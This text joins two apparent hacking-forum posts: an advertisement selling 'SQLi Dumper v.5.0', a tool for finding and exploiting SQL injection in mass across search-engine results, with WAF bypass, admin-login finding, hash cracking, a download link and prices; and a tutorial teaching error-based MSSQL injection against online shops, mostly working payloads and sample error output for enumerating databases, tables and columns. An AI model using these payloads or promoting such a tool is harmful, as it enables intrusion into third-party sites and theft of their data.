6 SQLi Dumper v.5.0

SQLi Dumper - Advanced SQL Injection\Scanner Tool

Designed to be automated to find and exploit

 web security vulnerabilities in mass.It is robust,

 works in the background threads and is super faster.
Uses an advanced search engine with seven

 different online search services

(Google, Yandex, Bing, Yahoo, Sapo, Altavista and Terravista).

SQLi Dumper Features:

 -Suports Multi. Online search engine (to find the trajects);
 -Automated exploiting and analizing from a URL list;
 -Automated search for data in a bulk URL list;
 -Automated analizer for injections points using 

URL, POST, Cookies, UserLogin or UserPassword;
 -Dumper suports dumping data with multi-threading 

(databases/tables/columns/fetching data);
 -Exploiter suports up to 100x threads;
 -Analizer and Dumper suports up to 50x threads;
 -Advanced WAF bypass methods; 
 -Advanced custom query box; 
 -Dumper can dump large amounts of data, with greats 

control of delay each request (multi-threading);
 -Easy switch vulnerabilities to vulnerabilities;
 -Suports proxies list;
 -GeoIP database;
 -Internal database;
 -Trash System;
 -Admin login finder;
 -Hash online cracker;
 -Reverse IP;
 -Standalone .exe (no install).

SQL Injection Methods suported: 

- MySQL
 - Union (Integer / String)
 - Error (Integer / String)
 ** Error Methods:
  - Double Query
  - XPATH - ExtractValue
  - XPATH - UpdateXML
 - Brute Forcing
 - Blind
 - Load File
 - Load File Scanner
 ** Illegal Mix Of Collations:
  - UnHexHex()
  - Binary()
  - Cast As Char
  - Compress(Uncompress())
  - Convert Using utf8
  - Convert Using latin1
  - Aes_decrypt(aes_encrypt())
- MS SQL
 - Union (Integer / String)
 - Error (Integer / String)
 ** Illegal Mix Of Collations:
  - SQL_Latin1;
  - Cast As Char.
- Oracle
 - Union (Integer / String)
 - Error (Integer / String)
 ** Error Methods:
  - GET_HOST_ADDRESS
  - DRITHSX.SN
  - GET;APPINGXPATH.
 ** Illegal Mix Of Collations:
  - Cast As Char.
 ** Suports TOP N Types: 
  - ROWUM
  - RANK()
  - DESE_RANK()

** Analizer detects also:
 - MS Access
 - PostgredSQL
 - Sybase

** For using this tool you should know a little

 about SQL Injections.

Demo Version Limitations:

 - Max. URL per Search 500
 - Get links by ReverseIP DISABLED
 - Max. Trash 5000 URLs
 - SQL Injection Obfuscate - Bypass Functions and 

Keywords Filtering DISABLED
 - Exploiter Max. Threads 20
 - Analizer Max. Threads 3
 - Running multiples instancies DESABLED
 - Running multiples mini dump instancies DESABLED
 - Dumping Rows with multi-threading DESABLED
 - Network Credential DISABLED
 - Injection Methods for POST, Cookies, etc.. DESABLED
 - Proxy DISABLED
 - ReverseIP DISABLED
 - Load_File() scanner DISABLED

 ** Download: http://www.mediafire.com/?vfb8fps2beppsib
 ** Dependencies: Microsoft .NET Framework 4.x
  http://www.microsoft.com/en-us/download/details.aspx?id=17851
 

Price and Payment Method:
 - Binary (EXE): 150 USD / 115€ Euro
 - Source Code (VB.NET 2010): 2.000 USD / 1.550€ Euro
 ** Liberty Reserve

Contacts:

 - mysqlidumper [at] gmail [dot] com (email)
 - c4rl0s@jabber.org (IM Chat)

More Screen Shots:

http://imageshack.us/a/img40/9792/54476110.png
http://imageshack.us/a/img26/7343/43570486.png
http://imageshack.us/a/img833/1754/29794037.png
http://imageshack.us/a/img838/5985/62974282.png
http://imageshack.us/a/img405/2636/41411581.png
http://imageshack.us/a/img253/7108/87770469.png
http://imageshack.us/a/img845/5708/27459044.png
http://imageshack.us/a/img253/4696/23767618.png
http://imageshack.us/a/img338/4593/86695223.png
http://imageshack.us/a/img689/1859/84670334.png
http://imageshack.us/a/img692/4218/79948522v.png
http://imageshack.us/a/img571/690/48570647.png
http://imageshack.us/a/img27/8163/19180735.png
http://imageshack.us/a/img823/6977/14995786.png
http://imageshack.us/a/img443/4640/60463828.png
http://imageshack.us/a/img841/9392/43723692.png
http://imageshack.us/a/img20/8374/86406807.png
http://imageshack.us/a/img221/7549/38372480.png
http://imageshack.us/a/img16/1558/76135157.png
http://imageshack.us/a/img411/1913/97064053.png
http://imageshack.us/a/img208/1747/83970473.png
http://imageshack.us/a/img840/6143/78458462.png
http://imageshack.us/a/img268/5611/96006062.png
http://imageshack.us/a/img253/3442/47787419.png
http://imageshack.us/a/img849/4741/14173095.png
http://imageshack.us/a/img191/1821/61869828.png  

0 Exctract Table and Columns name in MsSQL

###################################
Title: Exctract Table and Columns name in MsSQL ( .cfm & .asp )
-
Author: DaNZeL
-
WebSite: http://www.flash-crew.com
-
Hotmail: danzel@flash-crew.com
-
Yahoo: FlashcRew@Yahoo.com
###################################

Hi allz ..

I want to tech you how to exctract Tables And Columns from MsSQL shop's ..

some people has ben a interes for that ..

and i write for you .



-

Get the Version:

and 1=convert(int,@@version)--sp_password-

Get Server Name :

and 1=convert(int,@@servername)--sp_password

Demo:

http://site.com/view.cfm?id=56 and 1=convert(int,@@servername)--sp_password

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting 
the nvarchar value 'SERVER NAME HERE' to a column of data type int.



-

Get data base name:





and 1=convert(int,db_name())--sp_password
and 1=convert(int,db_name(1))--sp_password
and 1=convert(int,db_name(2))--sp_password
and 1=convert(int,db_name(3))--sp_password
and 1=convert(int,db_name(4))--sp_passwordetc ...





Demo:

http://site.com/view.cfm?id=56 and 1=convert(int,db_name())--sp_password
http://site.com/view.cfm?id=56 and 1=convert(int,db_name(2))--sp_password



[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting 
the nvarchar value 'DB NAME HERE' to a column of data type int.





-

Get system user :

and 1=convert(int,system_user)--sp_password



http://site.com/view.cfm?id=56 and 1=convert(int,system_user)--sp_password

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting 
the nvarchar value 'System User' to a column of data type int.





-



-

Get the first Table :

and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password

demo :

http://site.com/view.cfm?id=56 and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password

We get this error:

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting 
the nvarchar value 'First TAble Here' to a column of data type int.



-



Get the second table:

and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("FIRST-TABLE-HERE")))--sp_password

example:

http://site.com/view.cfm|id=56 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("FIRST-TABLE-HERE")))--sp_password



[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting 
the nvarchar value 'Second Table is Here' to a column of data type int.





-

Get Next Table 

and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('table1,'Table2')))--sp_password 





-



Get the 3 table :

and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("Second-Table-Here")))--sp_password

http://site.com/view.cfm?id=56 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("Second-Table-Here")))--sp_password

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value '3 Table' to a column of data type int.



And we get the 3 table .. for get more table go with step with last table ..





--



Now you need to get the columns in any table :



We goo with this process ..



Get first columns from table 1 :

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE")))--sp_password

http://site.com/view.cfm?id=56 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE")))--sp_password

and we get the first columns in this table



[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting 
the nvarchar value 'Column Name here' to a column of data type int.



--



Get second column :

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not in ("FIRST-COLUMNS-HERE")))--sp_password



http://site.com/view.cfm?id=56and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not in ("FIRST-COLUMNS-HERE")))--sp_password

and we will get te second columns



[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting 
the nvarchar value 'Second Column here' to a column of data type int.



--



Get 3 columns :

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not in ("SECOND-COLUMNS-HERE")))--sp_password

http://site.com/view.cfm?id=56and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not in ("SECOND-COLUMNS-HERE")))--sp_password

and we have column number 3



[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting 
the nvarchar value 'COLUMN-NR-3' to a column of data type int.





and in this method you use in next step ..



Don't Forget to change the commands in SQL Char

For any help Email me



Peace

Danzel / Flashcrew